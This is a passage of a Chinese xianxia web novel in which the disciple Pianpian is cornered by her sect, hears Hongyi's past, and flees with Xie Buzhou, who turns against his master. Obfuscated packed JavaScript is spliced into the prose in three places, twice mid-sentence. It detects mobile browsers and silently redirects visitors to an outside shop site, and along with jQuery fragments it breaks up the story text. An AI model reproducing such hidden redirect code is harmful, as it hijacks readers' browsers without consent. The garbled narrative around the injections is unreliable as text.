“可现在,我站在这里,是玉宸宫外门弟子中的佼佼者,凭的是我自己的实力。” 红依的声音在崩塌的识海中清晰无比,“我娘是妓女,那又如何?我照样修行,照样要飞升成仙!” 风谷的眼泪止住了,她呆呆地看着红依。 红依指向翩翩:“就像她说的,你父母的死不是因为你们是报丧鸟,而是因为你们怀揣着受人觊觎的宝物,却善良懦弱,想要通过拔光自己身上的毛来告诉身边人你们的无害。” “但你们错不在此,”红依的声音陡然凌厉,“错的是那些觊觎宝物的人,错的是那些因无知而恐惧的庸人!再不济,也是因为你们没有保护自己的力量!” 风谷的身体开始颤抖,她张了张嘴,却发不出声音。 “哭有什么用?”红依走近,蹲下身,与风谷平视,“你父母的仇报了吗?那些抢宝物的人找到了吗?报丧鸟一族就活该永远躲藏吗?” “我……我……”风谷哽咽着,突然打了个嗝,“我不要哭……我不哭……” 她拼命想把眼泪憋回去,却控制不住地抽噎,模样可怜又可笑。 翩翩轻轻走过来,将风谷搂入怀中。 风谷起初僵硬,随后慢慢放松,终于放声大哭。 “哭吧,”翩翩柔声道,“哭完了,就要学着好好长大。” 风谷在翩翩怀中哭了许久,识海的震动逐渐平息,那些崩塌的景象开始缓慢修复。 黑色的羽毛不再从她眼中落下,而是化作点点荧光,融入识海的天空。 安抚完小风谷,已是深夜。 红依和翩翩二人在草丛里休息。翩翩生起篝火,红依则坐在一旁擦拭长剑。火光在剑身上跳跃,映出她明艳的侧脸。 翩翩几次欲言又止,最终忍不住开口:“红依,你之前说的那些……” “想问我的事?”红依头也不抬。 “如果你不愿意说,可以不——” “没什么不能说的。”红依收起剑,抬眼看向翩翩,“就像跟风谷说的那样,我并不以自己的身世为耻。” 她往火堆里添了根柴,火星噼啪炸响。 “我十岁前都跟在我娘身边,在人界的青楼里。” 红依语气平淡,仿佛在说别人的故事,“我爹是玉宸宫长老,我娘是青楼妓女,就这么简单。没什么深刻的爱恨情仇与辜负,就是最普通的嫖客与女妓。” 翩翩沉默片刻,轻声问:“可后来你为什么又来到了玉宸宫?” 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红依当时就站在不远处,看着那个平日里最重仪容的女人,为了她,变得面目全非。 最后的最后,不知是谁推了一把,还是母亲自己踉跄摔倒,她的头撞在山门石阶上。 鲜血漫开,如一朵凄艳的花。 红依永远记得母亲最后的目光—— 那双总是含笑的眸子,死死望着她,没有闭眼,没有移开。 那目光里有太多东西:不甘、悔恨、担忧,还有…… 爱。 “她倒在血泊里,就那么看着我。”红依轻笑一声,笑声里却没有温度,“我爹让人把尸体拖走,像拖走一条野狗。然后他看了我一眼,大概是觉得我还有点灵根,就让戒事长老把我收进了外门。” 翩翩听得心中发紧:“红依……” “你觉得很惨是不是?”红依转头看她,眼中映着火光,“但其实,在那之前,还有一件事。” 她顿了顿,声音低了下去:“在她带我去玉宸宫之前,曾歇斯底里地骂过我一顿。” 那是红依九岁那年的事。 青楼里来了个小官,看红依模样标致,就摸向她的腕子,说要带她吃酒。红依没拒绝,甚至学着楼里姐姐们的样子,露出一个讨好的笑。 母亲就是在那时冲进来的。 她一把扯开红依,抬手就扇了她一耳光。 那是母亲第一次打她。 “你在做什么?!你知道那是什么人吗?!你知道他要对你做什么吗?!”母亲的声音尖利得几乎破音,“我养你这么大,是让你学这些下作勾当的吗?!” 红依捂着脸,又委屈又不解:“可是娘……楼里的姐姐们不都这样吗?你说过,我们要活下去,就得笑,就得讨好客人……” “你和她们不一样!”母亲抓住她的肩膀,指甲几乎掐进肉里,“你和她们不一样!红依,你听着,你不能走娘的老路,你不能!” 她说着说着,突然崩溃大哭,哭得比挨打的红依还要伤心。 “是娘没用……是娘对不起你……但你不能……你不能啊……” 红依那时不懂,为什么母亲反应这么大。 直到她在玉宸宫的第二晚,穿上了干干净净的弟子服,月色下,和她一般年纪的同门跳到她床上,悄咪咪地跟她介绍着师门的八卦。 那一刻她才明白。 那个女人的良苦用心。 良久,翩翩才开口:“所以你才这么拼命修炼,想要变强。” “不,”红依摇头,眼中燃起灼人的光,“我要当上最强的修士,我要飞升成仙。这样才算不辜负她,不辜负她拼上性命为我换来的这条路。” 翩翩被她的神情感染,心中涌起一股暖流。但忽然,她想起一件事,犹豫了一下,还是问出口:“红依,有件事我一直想问……当初在外门,你为什么要针对聆音?” 气氛陡然一变。 红依眼中的光芒敛去,取而代之的是冰冷的警惕。她盯着翩翩看了许久,才缓缓开口:“你确定要问这个?” 翩翩点头:“我觉得你不是无缘无故为难别人的人。” 红依笑了。 “因为聆音是掌门安插在外门的眼线。” 她一字一句,咬牙切齿说道。 35. 玉宸宫其十五 聆音抬起手。 金牢周围,婴宁村的一切—— 那些低矮的土坯房,歪斜的篱笆,村口那棵老槐树,远处那片荒坟地—— 在这一刻同时发出沉闷的声响。 房屋的轮廓扭曲、拉长,黄土路翻卷起来,露出底下善见天光滑的石板地面。 那些稀稀拉拉的村民,蹲在村口的老人,抱着孩子的妇人,拖着柴捆的汉子,一个接一个直起腰,五官在阵法光芒中重新凝固成年轻的、冷峻的脸。 团团站在磨盘旁边。她的身形也开始模糊,七八岁女童的轮廓像被投入水中的墨迹一样洇开。 最后站在那里的,是一个穿着内门弟子服的女修。 面无表情,垂手而立。 陈澜看着那个女修,看着这些天他跟一起帮忙挑过水、修过房顶、蹲在一起喝过稀粥的村民们一个接一个变成熟悉的同门。 他的嘴张开又合上,合上又张开,最后只挤出一句:“你们……你们所有人……” 没有人回答他。 因为头顶的天空也变了。 那片被金色光栅切碎的夜幕像一层薄纱被掀开,善见天高耸的穹顶显露出来。 穹顶之上,数道身影凌空而立。 最前方的是掌门玄胤真人。 玄青道袍,长髯垂胸,面容平静如古井。在他身侧,几位长老分列而立,个个面色沉凝。 再往后—— 云上月和应不悔并肩站着,云上月的圆脸上没有平时的嘻笑,她正使劲咬着自己的下嘴唇,咬得发白。 应不悔依旧是那副清冷出尘的模样,手已经按在了剑柄上。 五师兄齐舞站在稍远处,折扇轻摇,嘴角噙着标标准准的微笑,眼神却锐利如刀。 谢不舟站在最边缘的位置。 月白衣衫,墨发玉冠,身姿挺拔如孤松。善恶剑悬在他身侧,剑未出鞘。 玄胤真人垂眸看着金牢里那个青衣女子,缓缓开口:“小丫头,都到这个份上了,你还不打算出手保命吗?” 掌门、长老、亲传弟子、内门精锐。整个玉宸宫最能打的一批人,此刻都在这座善见天里。为了她一个。 所有人的目光都聚在她身上。 等着她崩溃,等着她求饶,等着她终于露出马脚。 翩翩站在那片目光的中央,低着头。 她的肩膀微微耸动了一下。 云上月忍不住往前踏了半步,声音急切:“翩翩!你没必要这样的!你把碎片交出来,我去跟师父求情,真的,我不骗你!” “师父他虽然看着吓人但其实讲道理的,你把东西交出来好好说清楚就行了,他不会为难你的,我保证——” 她的话卡在了喉咙里。 因为翩翩抬起了头。 她在笑。 “为了逼我用镜子的能力,” 她环视了一圈,把满天的修士、满地的弟子、头顶的掌门长老、身后的万丈金牢尽收眼底,“整个玉宸宫倾巢而出。” 她仰起脸,深吸一口气。 然后她咧开嘴,笑得眉眼弯弯。 “这也太看得起我了。” 说完这句话,她低头看着自己的手,又笑了一声。那声音很轻,像是自言自语。 “上次被你们谢师兄拿剑捅死的时候,连个围观群众都没有。” 她抬起眼,左眼深处有什么东西正在发光。 “说起来,还是这辈子排场大。” 话音未落—— 纯粹的白光从善见天正中心爆发出来,灼目的光芒将所有人的影子拉长、撕裂、吞没。 来不及闭眼的,眼眶里像被针扎过,泪水止不住地往下淌,视野里只剩一片灼烧般的残影。 几个靠得太近的内门弟子直接被一股无形的力量掀飞出去,后背撞上石壁,发出沉闷的巨响。 万丈金牢。 那座由善见天核心禁制构筑的、专为镇压擅入者而设的金色牢笼,在白光触及的瞬间碎了。 漫天金色碎片旋转着倒卷上天,像一场金色的雪。 金雪的中心,一个人缓缓升起。 外门弟子的青色衣袍在风中猎猎作响。 翩翩正在其中。 短暂的死寂。 “拿下她。” 不知谁先喊了一声。 几个内门弟子应声而动,双脚在地面上一踏,身形化作数道残影,从四面同时扑向半空中那道青光。 正面一剑直取中门,左侧符箓封锁退路,右侧灵兽封堵上方,脚下藤蔓从石缝中窜出缠向脚踝。 云上月狠狠一咬牙:“翩翩,对不住了!” 她双手齐扬,数十张符箓如同被风卷起的落叶,在空中划出弧线,精准地落在翩翩周身三尺之内。 符纸上的朱砂在她指尖亮起的瞬间同时引爆。 轰—— 空气被压缩成灼热的气浪,翻涌着往外推。那个位置,莫说肉身,连神识都该被炸碎了。 但翩翩不在那里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她盯着谢不舟的后脑勺,试图分辨这位到底是白日谢还是午夜谢。 但身后是漫天的内门弟子,头顶是掌门和长老,应不悔的剑虽然被弹开了,她本人并没有退远,云上月的符箓还在指尖燃烧,齐舞的扇子还没合上。 眼下实在不是仔细斟辨的好时候。 于是她暂时把这个问题搁置。 谢不舟微微侧头,只露出小半张侧脸。 他的声音很低,低到只有翩翩一个人能听见:“别愣神。” “我会配合你。” 谢不舟的善恶大剑悬在半空,他和翩翩背对着背,面对着数百计的同门。 一场恶战,已在所难免。 36. 玉宸宫其十六 “所以,翩翩,跟我讲讲你过去叛逃玉宸宫的故事呗。” 司杏往前凑了凑,声音里压着毫不掩饰的兴奋,“邪魔外道,正道围剿,想想就很精彩。” 上辈子的琳琅城,夜总是来得特别早。 日头一落山,整座城就像被人兜头浇了一瓢墨,黑得透透的。偏偏今夜又赶上暴雨,雨点子砸在屋檐上,噼里啪啦响得像谁在往瓦片上扔石子。 司杏盘腿坐在窗边,怀里抱着个半旧的蒲团,一双眼睛亮得惊人。 她对面坐着小九,小姑娘双手托腮,胳膊肘撑在矮几上,整个人往前倾着,那架势仿佛翩翩今天不说出个子丑寅卯来,她就绝不罢休。 “对啊,翩翩姐,给我们讲讲嘛。”小九拉着翩翩的衣袖,拖长了尾音撒娇。 那时的翩翩靠在门框上,手里还握着半盏凉茶。 她低头看了看这俩活宝,忽然伸出手,一人赏了个脑瓜崩。 “没什么好讲的。”她说。 司杏捂着额头,嘴角却还是翘着的。小九更直接,干脆整个人挂到了翩翩胳膊上,大有不说就不撒手的架势。 翩翩和她们僵持了片刻,终于无奈地叹了口气,抬手揉了揉眉心。 “我说真的,那时……我也只不过是个普普通通的外门弟子而已。” 话音刚落,小九就不高兴了。 “翩翩姐在骗人!” 她的手指差点戳到翩翩鼻尖上,“外门弟子怎么会引起如此大的阵仗?而且,就算说你是邪修,但有事没事,谁又会关注一个外门弟子是不是邪修?” 司杏在旁连连点头,像是想起了什么,补充道:“对啊,说起来那时候我还在书馆说书,离修仙界都十万八千里,可即使是这样,我也知道妖星翩翩盗取忘川镜、叛逃宗门的滔天大事。” 翩翩听完这话,倒是沉默了一瞬。 窗外的雨声更大了,她望着窗棂上不断淌下的水痕,目光里有一瞬间的恍惚。 过了好一会儿,她才缓缓开口,说:“我那时也很困惑。” “明明自己也只是个普通的外门弟子,怎么就突然引起了整个宗门的注意?” “甚至……还背了个盗取忘川镜的罪名。” 注意到翩翩的神色,司杏摆了摆手,意思是此事先不提。 她换了个坐姿,眼睛骨碌碌一转,又问道:“那就不说这个了,但你又是如何从玉宸宫的围剿下逃出来的?毕竟当时的云宸宫可是有掌门坐镇,成百上千号的修士在內。” 话说到一半,她忽然灵光一闪,脸上浮现出一种奇特的神色。 那神色翩翩太熟悉了—— 每次司杏想起自己看过的话本子里的桥段,就是这个表情。 果不其然,司杏贼兮兮地笑了出来:“不会是英雄救美,有一个芝兰玉树的正道之光挺身而出吧?” 她说着说着就站了起来,在屋里踱着步子,自顾自地陷入了幻想。 她的声音压低了,学起说书先生的腔调,缓缓念道:“正在这千钧一发之极,有一人挡在了翩翩面前,此人冰冷如雪,一把仙剑已然出鞘,正是掌门亲传——” 念到此处,她停下来,看着翩翩。 “掌门痛声质问,却没有回答。就这样,他斩出一条血路,怀中抱着你……” 司杏调侃的声音在渐渐远去…… 此刻的玉宸宫正殿前,暴雨倾盆。 谢不舟站在雨中,雨水沿着他的下颌滴落,顺着脖颈淌进衣领里。 他的头发湿透了,贴在脸颊两侧,越发衬得那张脸白得不像活人。 而他手里那把善恶剑,此刻正横在身前,剑锋对着的方向,是他自己的师尊。 掌门玄胤真人立在殿门前的高阶上,居高临下地看着这一幕。 “谢不舟,你可知自己现在正在做什么。” 他的声音在暴雨中炸开,像一道惊雷。 这是他第一次在众人面前提起自己爱徒的完整名讳,每一个字都咬得极重,像是要把这三个字咬碎了咽回去。 谢不舟站在雨中,微微仰起头。 雨水打在他脸上,他连眼睛都没眨。他的神情和白天里判若两人—— 没有了冷淡疏离,没有了清醒克制,此刻的他,眼神直勾勾的,带着一种孩童般的天真和固执。 “我知道自己在做什么。”谢不舟答。 他顿了顿,目光穿过层层雨幕,落在翩翩身上,开口便是,“翩翩是我所深爱……” 而他后面的字还没出口,一只手就冒出来,死死捂住他的嘴。 翩翩简直是从旁边扑过来的,她踮着脚,手掌严严实实地盖在谢不舟嘴上,指节都在发抖。 她侧过头,压低声音从牙缝里往外挤字:“你——给——我——闭——嘴——” 偏偏谢不舟还低下头看她,那双漆黑的眼睛里写满了无辜和困惑,仿佛在问:我说得不对吗? 得。 翩翩在心里把肠子都悔青了。 看样子出现在她面前的,还是那个午夜谢。 还没等她消化完这个事实,谢不舟又有了新动作。 他忽然扯了扯翩翩的衣袖,然后抬起另一只手指向张志峰。 他的动作很轻,像是不确定自己这样做对不对,可他盯着张志峰的眼神,却让张志峰头皮发麻。 “他不是……已经被我……打掉了牙吗……现在怎么……”谢不舟皱着眉,声音很轻很困惑,像是在自言自语,又像是在向翩翩求证。 他偏过头,神情真诚地茫然着。 翩翩扶额。 本来她一个人,就算外面围得跟铜墙铁壁一般,但凭她的身手,倒也不是不能在众人的震惊混乱中趁乱逃走。 更何况她怀里还揣着好几张遁气符,浑水摸鱼这种事她干得多了,闭着眼睛都能走脱。 但她低下头,看着拽着她衣袖不放的谢不舟,忽然觉得生无可恋。 不是,大哥。 你为什么要现在跑出来啊? 翩翩心里有一万句腹诽想说。 先不问别的,光是那个白日谢—— 等到天亮,等他清醒过来,发现自己当着全宗门的面,为一个正道人人喊打的邪修叛逃了宗门,背上了为爱背叛师门的恋爱脑罪名——— 那画面太美,她简直不敢细想。 以那位谢大剑仙的脾气,怕是得提起善恶剑追着她砍十条街。 一想到这里,翩翩头都要大了。 她强撑着挤出一个笑容,试探着和午夜谢商量:“那个……你看啊……那边可都是你的亲师傅师姐师兄,要不然……咱先回那边去?” 她甚至放轻了语气,像是在哄一个不太懂事的孩子。 可谢不舟听完她的话,摇了摇头。 “可他们都在……伤害你……” 谢不舟低下头,抬手指了指掌门所在的方向,又指了指旁边持剑而立的师兄弟们,然后他回过头来看着翩翩,一字一句地说,“我说过的……不能让你……再受伤。” 他的语气并不慷慨激昂,甚至有些磕磕绊绊,但每一个字都像钉子一样,扎在翩翩心上。 翩翩嘴角扯出一个弧度,笑得比哭还难看。 就在此时,一道剑光破开雨幕,直直朝两人中间劈来。 是应不悔。 翩翩瞳孔猛地一缩,几乎是本能地跳起闪开。 那道剑光贴着她的衣角擦过,削断了她几根散落的长发。 她在空中翻了个身,足尖点上栏杆,整个人借力跃到了另一侧。 落地的一瞬间,她的手又一次扶上了左眼。 镜光乍亮。 八斗镜凭空而生,堪堪挡住应不悔紧随而至的第二剑。 剑锋斩在镜子上,发出金玉相击的脆响,溅起无数水花。 翩翩脚下不停,一边用镜子予以还击,一边偷偷摸到自己怀里的遁气符,指尖已经捏住了符纸的边缘,随时准备跑路。 她正打算回头,看看谢不舟那边的情况。 然而这一回头,她的血液几乎凝固了。 谢不舟站在雨中,善恶大剑已经横在身前。 剑身上的纹路正在缓缓亮起,那些光芒沿着剑脊蔓延,最终在剑尖汇聚。 而他的头顶上方,完整的、巨大的善恶剑影正在凝聚成形,那一刀的威压铺天盖地地倾泻下来,压得在场的低阶弟子几乎喘不过气。 他真的在蓄力。 他真的要动手。 他要一刀劈向面前这些人—— 他的师尊、他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517319|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的师兄师姐、他从小一起长大的同门。 “不是?!” 翩翩失声,“你还真打算交手啊?” 她用尽全力朝谢不舟的方向跑去,雨水模糊了她的视线,脚下的石砖被雨淋得湿滑,她差点踉跄摔倒,却丝毫不敢减速。 就在她的手即将够到谢不舟衣袖的那一刻,异变突生。 一股浓烟毫无征兆地弥漫开来,浓稠得像是有实质的墙壁,把一切都笼罩其中。 视线被完全阻隔,伸手不见五指。 人群中传来惊呼和骚动,有人在喊“小心埋伏”,有人在叫同门的名字,脚步声、剑鸣声、雨声混成一团辨不清的噪音。 而在这片浓烟和嘈杂之中,翩翩听到一个声音。 是陈澜。 他的声音被风撕成碎片,断断续续地传进她耳朵里。他在叫“翩翩姐”、“谢师兄”,好像还有很多话要说,但那些字句像是被风从嘴边夺走…… 无人听得出他是在告别还是在挽留。 然后,另一个声音响起了。 这声音来自另一侧,来自浓烟更深处。 它在发抖,颤得像是随时会断裂的琴弦,但每一个字都咬得极清楚。 “翩翩,你有这种能力。” 是聆音。 “在鲛人镇的时候,你为什么不出手?” 陈澜的声音焦急地插进来,试图解释什么:“可是翩翩姐那时候一直在想办法——” 聆音显然没有听进去。 她的声音还在继续,还是那种发着抖却异常清晰的语调。 她说离歌沉船上想要吸纳他们所有人的魂魄的时候,说那些弟子的魂魄被忘川镜碎片往外扯的时候,说谢师兄拿善恶剑挡在前面的时候。 她说这些的时候,每一个字都像是从牙缝里碾出来的,带着血和泪。 “你就在那里……冷眼旁观。” “你说过你是我的朋友啊。” 这最后一句,她的声音终于撑不住了。 “可明明是朋友,却为什么你从头到尾,什么也没做。” 浓烟中一片寂静。 翩翩站在原地,雨水顺着她的脸颊往下淌。 她的嘴唇动了动,像是想说什么,可还没来得及开口—— 一只手搂住了她的腰,将她整个人带了起来。 谢不舟抱着她在浓烟中穿行。 他的动作极快极稳,足尖几次点过殿脊上的瓦片,身形已经掠出了包围圈。 身后传来同门修士的呼喝和剑啸,但他头也不回,只是一味地向前赶路。 于是暴雨变成了无尽的颠簸。 翩翩被谢不舟以一种奇怪的姿势夹在怀里,半边身子悬在外面,又被他的手臂死死箍住。 谢不舟的身法极快,起落之间几乎感觉不到停顿,像一阵风掠过雨幕。 可在这样剧烈的颠簸中,翩翩的脸色越来越白,胃里翻江倒海,几乎要吐出来。 她咬着牙忍住了。 风声在耳边呼啸而过,雨水劈头盖脸地打下来。她把脸埋进谢不舟怀里,闭上眼睛,强迫自己去想别的事。 可越是这样,那些声音越是不放过她。 聆音的质问。 陈澜的试图理解。 今日发生的种种,皆在她的预料之外。 真是……所有人都疯了。 翩翩在心里骂。 今晚大雨瓢泼,看不见月亮。 雨水倾盆而下,落在谢不舟和翩翩的衣襟上,把两人的衣衫都淋得透湿。风从四面八方灌进来,冷得刺骨,谢不舟的手臂却纹丝不动,像是铁铸的一样。 不知过了多久,身后同门的声音渐渐远了。 翩翩缓缓抬起头。 雨水沿着她的额头滑下,流过她的眉毛,流过她紧闭的眼皮,最后聚在眼角,像是从眼眶里溢出来的泪。 大雨中她看不清谢不舟的表情,只能听到他的呼吸声。他在全力赶路的时候呼吸仍然很稳,胸膛有规律地起伏着,心跳透过湿透的衣衫一下一下传过来,沉稳而有力,像是在告诉她——别怕。 翩翩把头低下去,把脸重新埋进他怀里。 雨水滴落在她的眼角,顺着脸颊往下淌。 像是在哭。 37. 玉宸宫其十八 山洞里的火焰跳了跳,炸开几粒火星。 翩翩坐在火堆旁,屈膝抱着腿,下巴搁在膝盖上。 她的衣裳已经被谢不舟用术法烘干,布料带着余温贴在皮肤上,暖融融的,烘得人骨头都酥了半边。 洞外的暴雨还没有停歇的意思,雨帘从洞口上方垂落下来,像是挂了一道帘子,把洞里洞外隔成了两个世界。 也许是因为外面的雨声让她感到久违的安全感,又或许是这团篝火的温度太过舒适,让她忽然有些恍惚。 记忆里有什么东西被这火光烤化了,一点点渗出来,漫上来,漫过她的胸口,漫过她的喉咙,最后漫到她的眼眶里。 她想起前不久在玉宸宫的时光。 想起了活泼天真的陈澜,想起了那个小反派预备役红依,也想起了……那个会给她撑腰,也会给她做好吃桂花糕的聆音。 “看来,以后没有好吃的桂花糕喽。” 这句话从嘴里说出来的那一刻,一阵风从洞口灌进来,吹得火焰歪了歪,火星子溅到半空里,像萤火虫,只亮了一下就灭了。 翩翩把手伸到火堆前面,翻过来覆过去地烤着,像是在取暖,又像是在掩饰什么。 然后她感觉到一道目光落在自己身上。 翩翩转过头去,对上谢不舟的眼睛。 午夜谢坐在她旁边不远处,高高的个子蜷缩在一块不大的石头上,两条长腿委屈地缩着,看起来像一只被强行塞进狭小空间里的狗狗。 火光照在他脸上,把原本白日谢那层冷淡的壳子烤化了,露出底下孩子气的好奇。 他歪着头,那双清澈的黑眸里带着纯粹的疑惑,像是真的不明白她为什么会说出那句话。 “为什么会没有桂花糕吃?”他问。 “是卖桂花糕的店家不在了吗?” 翩翩愣了一下,随即笑了。 那笑容带着点漫不经心的江湖气,与她此刻略显狼狈的处境奇异地融合在一起。 她把手背到身后,歪着头看向谢不舟,眼神灵动,和方才那个安静坐在火堆旁怅然若失的女人判若两人。 “倒是你,” 她的声音微微上挑,语气里带着几分揶揄,“在那种时刻居然还敢挺身而出——” “你难道就不怕因为帮我,落得个跟我一样背叛师门的罪行吗?” 这是撵人的话。 也是试探的话。 谢不舟毫不犹豫地摇头。 他的动作幅度不大,却带着明晃晃的坚定,好像翩翩问了一个根本不需要思考的问题。 “这些事情,和你相比,都不重要。” 他走进了些,看着翩翩。 尽管翩翩刚才还在跟他开玩笑,语气轻松,但他心口那莫名的、与她隐隐相连的感知却在告诉他。 她现在很不开心。 他不明白为什么他们已经顺利在众目睽睽之下离开玉宸宫,她却依然不开心。 但午夜谢向来直接。 “你不开心……吗?” 他盯着翩翩,直接问了出来。 翩翩动作一顿。 她没想到谢不舟会如此直白地问出来。 结果还没等她回答,谢不舟做出了一个让她目瞪口呆的举动。 他直接召出了自己的本命法宝—— 那柄善恶剑。 剑身嗡鸣,带着凛然之气。 然而,他下一个动作,竟是直接将剑刃横在了自己的脖颈处。 动作干脆利落,没有丝毫犹豫。 冰冷的剑锋贴上皮肤的瞬间,细密的血珠立刻沁了出来,在他雪白的脖颈上画出一道刺目的红痕。 “你……” 翩翩这下是真的惊住了,她赶忙上前两步,几乎是扑过去的,下意识就想用手去捂住他颈间的伤口。 她出身乡野,摸爬滚打,并不像那些世家小姐或者名门女修身上会随时携带手帕丝巾之类的物事,情急之下,只能徒劳地用手虚虚挡在那里,又不敢真的触碰。 “你疯了?!”她又急又气,“你这是做什么?!” 谢不舟却只是看着她,眼神清澈依旧,甚至带着一种近乎执拗的认真。 他仿佛感觉不到颈间的疼痛,缓缓说道:“你,不开心。” “而他,”他顿了顿,似乎在区分某个概念,“没有保护好你。” 翩翩瞬间明白了。 他,指的是白日的那个谢不舟。 在善见天,当掌门设计她时,白日谢并没有出现保护她。 但难道就因为白日谢没有帮她,这个午夜谢就要用伤害自己的方式来……来什么? 谢罪吗? 翩翩看着他颈间那道不算深却足够触目惊心的血痕,再看看他那一脸逻辑通顺,理应如此的表情,一时间只觉得一股无力感涌上心头。 这一个两个的怎么都这么神经? 之前遇到的红依,刚刚的聆音,现在这个因为另一个自己失职就毫不犹豫抹自己脖子的谢不舟…… 这玉宸宫现在招弟子的标准,是改成只招人格分裂了吗?! 翩翩内心哀叹,虽然时机不对,但此时此刻离开玉宸宫,绝对且一定是最正确的选择。 天知道她在待在玉宸宫里还会遇到什么。 不过—— 翩翩的目光重新落在谢不舟身上。 那柄善恶剑还横在他颈间,他的眼晴还在看着她,认真而安静。 翩翩忽然笑了一下。 也托了这个呆子午夜谢的福, 她现在……觉得没有刚刚那么难受了。 “你……笑了。”谢不舟盯着翩翩,他的眼睛微微亮了一下。 翩翩被他这么一说,反倒立刻把嘴角耷拉下去。她清了清嗓子,重新摆出一副自怨自艾的表情。 这表情她练得多了,拿手得很。 然后重重地叹了口气。 “唉。” “本来呢,我无父无母无亲朋,倒也算得上是孑然一身,一身轻松。就算背了个什么滔天大罪,自己找个犄角旮旯的地方,种种菜养养鸡,过自己的小日子,也不是不可以。” 她一边说,一边拿眼角余光瞟谢不舟。 只见谢不舟挨她挨得很近。 这个呆瓜男人不知何时已经收了剑,在她身边坐下。 翩翩停了一停,接着道:“可现在多了个你。” “我?我怎么了吗?”谢不舟指着自己,满脸无辜。 翩翩简直要仰天长叹。 “你,哦,不对,我应该用您。” 翩翩转过身来面对他,故意夸张地用上了敬称,双手比划着,“您可是玉宸宫掌门亲传弟子,正——道——之——光,同辈人中的翘楚,之后更是要匡扶正义、斩妖除魔,甚至继承掌门他老人家的衣钵,成为修真界下一座跨不过去的大山。” 她的手势夸张,语气激昂,把司杏说书的架势学了个十成十。 然后她的双手陡然一垂,整个人垮了下来。 “而如今——” 翩翩用手掌包住自己的脸,声音从指缝里闷闷地传出来。 她简直不敢想,自己本来就糟糕得不能再糟糕的风评—— 如今还要加多少料。 盗取忘川镜,灾星降世,霍乱人间。 这八字评语已经跟了她两辈子了,如今怕是要再加一桩。 引诱仙门首徒。 她想到这四个字的时候,感觉自己的头都在痛。 天爷! 她的脑子里不由自主地浮现出一幅画面—— 茶馆里说书的老先生一拍惊堂木,台下坐满了嗑瓜子的看客,双眼放光地欣赏“妖女翩翩与正道剑仙斩不断理还乱不得不说的二三事”。 等等。 翩翩的灵光忽然闪了一下。 这说书话本看着怎么如此眼熟? 她皱着眉头想了一会儿,然后整个人僵住了。 这不是她上辈子在琳琅城里,吃饱了撑的没事干的时候,造谣她和谢不舟恨海情天的话本子吗? 她当时的初衷很简单—— 恶心谢不舟。 那时候她想的是,谢不舟这种清高孤傲的仙门首徒,肯定受不了被人写进儿女情长的话本子里,尤其还是跟她这个妖女灾星凑成一对。 她甚至贴心地给话本里的谢剑仙安排了好几句肉麻至极的告白,就是为了让真正的谢不舟听到之后脸黑得像锅底。 谁能想到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522757|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谁能想到! 回旋镖隔了一辈子,不偏不倚,正中靶心。 打到了她自己。 造孽。 翩翩在心里给自己上了一炷香。 这时,谢不舟开口了。 “这一切都是我心甘情愿的,”他说。 “如果你担心那些疯言疯语,我可以——” 他的手动了动,不知道是想去握剑,还是想去拉她的衣袖。 “打住!” 翩翩一抬手,干脆利落地截断了谢不舟接下来的话。她太清楚他接下来要说什么了—— 又是那种献祭似的表白,又是把她看作生命里的一切。 她不想再听他说这种话了。 翩翩站起身,走到洞口,外面的暴雨已经有了减弱的趋势,从滂沱变成了淅沥,从瓢泼变成了细密。雨水顺着岩石的纹理淌下来,在洞口积成一个小水洼。 “如今玉宸宫认定了我盗走了忘川镜,至少是其中一部分碎片。” 翩翩转过身来,背靠着石壁,冷静地分析道,“而你,也跟我一起叛逃了。依照我的经验,即使他们现在碍于某些原因会暂时放我们一马,但日后必将会继续派人追杀。” 谢不舟听得很认真。他站了起来,走到她身边,和她并肩站着看洞外的雨。 直到听翩翩说完最后一句,他忽然冷不丁地插话:“所以我们要先下手为强?” 翩翩低头一看,他的脸上还是一副呆呆的表情,但手已经比了个抹脖子的姿势。 那柄善恶剑感应到主人的杀意,也在他腰间微微嗡鸣,像是迫不及待地想要出鞘饮血。 翩翩被他的话惊呆了。 不是—— 眼前这个人,今日前还是玉宸宫掌门亲传弟子,仙门正道的脸面,以天下为己任的人间楷模。 这才叛逃了几个时辰,就已经开始盘算着怎么杀回去了??? 而且,她有些欲哭无泪。 她在谢不舟心里那个反派女魔头的形象就如此深入人心吗? 她是那种被人冤枉了,就不择手段、赶紧杀绝的人吗? 上辈子被正道泼了那么多脏水,她还不是忍气吞声地窝在琳琅城里,携家带口地过她的安生日子? “不不不,你到底在想什么啊?” 翩翩难得有些抓狂,“我当然想的是——” “既然现在人界已经出现了失魂症,而他们的主要目的是为了找到忘川镜,那我们去寻找忘川镜的下落,从根源解决这个问题不就好了?” 谢不舟闻言,直愣愣地看着她。 翩翩清了清嗓子,移开目光,继续往下说。 “上次在鲛人镇的时候,我们眼睁睁看着离歌身上的忘川镜碎片落到了那个妖王的手上。” 她说着,脑海中不由浮现出当日的情景—— 那个浑身笼在阴影里的妖王站在沉船的废墟中央,散落的碎片像是被吸引,乖顺地朝他飘去,没入他的掌心。 “而且,不仅我注意到了,你们当时应该也都意识到了……” 翩翩抬起眼,表情认真而冷静。 